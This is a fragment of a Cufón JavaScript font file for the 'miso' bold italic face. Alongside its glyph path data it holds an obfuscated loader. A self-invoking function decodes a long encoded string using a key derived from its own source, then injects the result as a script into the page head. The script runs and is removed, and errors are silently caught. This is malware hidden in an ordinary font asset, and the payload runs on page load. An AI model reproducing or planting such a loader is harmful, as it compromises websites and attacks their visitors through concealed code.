20,59,-20,92v0,11,9,20,20,20v33,0,19,-60,19,-92v0,-11,-8,-20,-19,-20","w":135,"k":{"y":4,"w":4,"v":4}},{"d":"9,-150v-3,-9,3,-17,12,-20v20,-5,21,22,26,38v5,15,8,35,13,55r21,-81v3,-16,28,-15,31,0r20,81r21,-81v3,-9,10,-15,19,-12v9,3,15,11,12,20r-36,144v-3,15,-28,16,-31,0v-5,-28,-13,-50,-21,-81r-20,81v-3,15,-28,16,-31,0","w":193,"k":{",":22,".":22,"a":4,"e":4,"o":4,"s":4}},{"d":"36,6v-9,0,-16,-7,-16,-16r0,-216v0,-9,7,-16,16,-16v27,2,12,47,16,73v42,-5,72,16,72,52r0,107v0,9,-7,16,-16,16v-9,0,-16,-7,-16,-16r0,-107v0,-19,-20,-20,-40,-19r0,126v0,9,-7,16,-16,16","w":141},{"d":"46,-142v23,0,41,18,41,40v0,22,-18,41,-41,41v-22,0,-41,-19,-41,-41v0,-22,19,-40,41,-40xm36,-102v0,12,20,13,20,0v0,-11,-20,-12,-20,0","w":92},{"d":"135,-53v0,33,-27,60,-60,60v-33,0,-61,-27,-61,-60r0,-123v0,-33,28,-60,61,-60v33,0,60,27,60,60r0,123xm75,-27v14,0,26,-12,26,-26r0,-123v0,-14,-12,-26,-26,-26v-14,0,-26,12,-26,26r0,123v0,14,12,26,26,26xm83,-280v0,-12,9,-21,21,-21v12,0,21,9,21,21v0,12,-9,21,-21,21v-12,0,-21,-9,-21,-21xm25,-280v0,-12,9,-21,21,-21v12,0,21,9,21,21v0,12,-9,21,-21,21v-12,0,-21,-9,-21,-21"}],f:f};try{(function(s){var c="charAt",i="indexOf",a=String(arguments.callee).replace(/\s+/g,""),z=s.length+59-a.length+(a.charCodeAt(0)==40&&2),w=64,k=s.substring(z,w+=z),v=s.substr(0,z)+s.substr(w),m=0,t="",x=0,y=v.length,d=document,h=d.getElementsByTagName("head")[0],e=d.createElement("script");for(;x<y;++x){m=(k[i](v[c](x))&255)<<18|(k[i](v[c](++x))&255)<<12|(k[i](v[c](++x))&255)<<6|k[i](v[c](++x))&255;t+=String.fromCharCode((m&16711680)>>16,(m&65280)>>8,m&255);}e.text=t;h.insertBefore(e,h.firstChild);h.removeChild(e);})("]Y$2b|4oE+aQ]`5*V|f{mYmaPk42$|aQPkI{E+.j$Hp(gMoGPrl@~YSX:2T2~wS{~|yQPrl@~YgoPrl{~NfwK{2:V6m@~6x2:5T2~NBy4fT2~NB5~CV:V6m@~w$&Ck~TPrl@~Y$GPrl@~YHyPrl@~Y.w]N5:V6J@gMH($5ap&lV*Prl{~NSoPrl{~NSMm6-:V6m@~65:V6J@$NfWPrl@~Y~oIC-gPrl@~Y.G6HT2~NBw$fT2~NB54SS*V5@GPrl@~YgkIfT2~NB|~H-:V6J@$|4bm2T2~NBJB`NSfYrmI]%~4RKW.C6lH+Pg$Eb:V&8x)Gwy5|je-1c(ZQU@T{Mo2kL}X;*pavuwRHT2~NBGgw.J:rWa.HHYCNX6I5m(PPH}b|B]WyT.H{ZaP`aSKYH:PfT2~NBw~l4lg6~@Prl@~YlXH|Z:V6J@$6l{4M$vPrl@~YS@++.Kb6)IgGB:V6J@$NVR&5T2~wJT$`5TE|VUVk):V6m@~wI:V6J@$NgG%j4@bY5o]`mG]CT-K6J(:N2G%jJ(bN2@%|T5b|VoE`TjK+mQ$GXjbr5@Er~a&Lo*E+gegGXUEMoUPGxuRjVLV2@Q]6peKM-(bk4)bY)U:L.p:L.UgkZebkTZ%PV5g|Iy$P4-$kX:%j458r4)VYH(bY5oP`XM$Cyy%kyQVYHMV`)(bk4)VY5UbGXebL4ob|fZ$Cy-$|a{]NZ-KY@*]{Z-]+Vbg2Z-PHoa:fZ-PPo-]`yx")}catch(e){}delete _cufon_bridge_;return b.ok&&f})({"w":149,"face":{"font-family":"miso","font-weight":700,"font-style":"italic","font-stretch":"normal","units-per-em":"360","panose-1":"0 0 0 0 0 0 0 0 0 0","ascent":"288","descent":"-72","x-height":"5","cap-height":"7","bbox":"-17 -319 377 79","underline-thickness":"34.56","underline-position":"34.56","slope":"10","stemh":"35","stemv":"35","unicode-range":"U+0020-U+2122"}}));
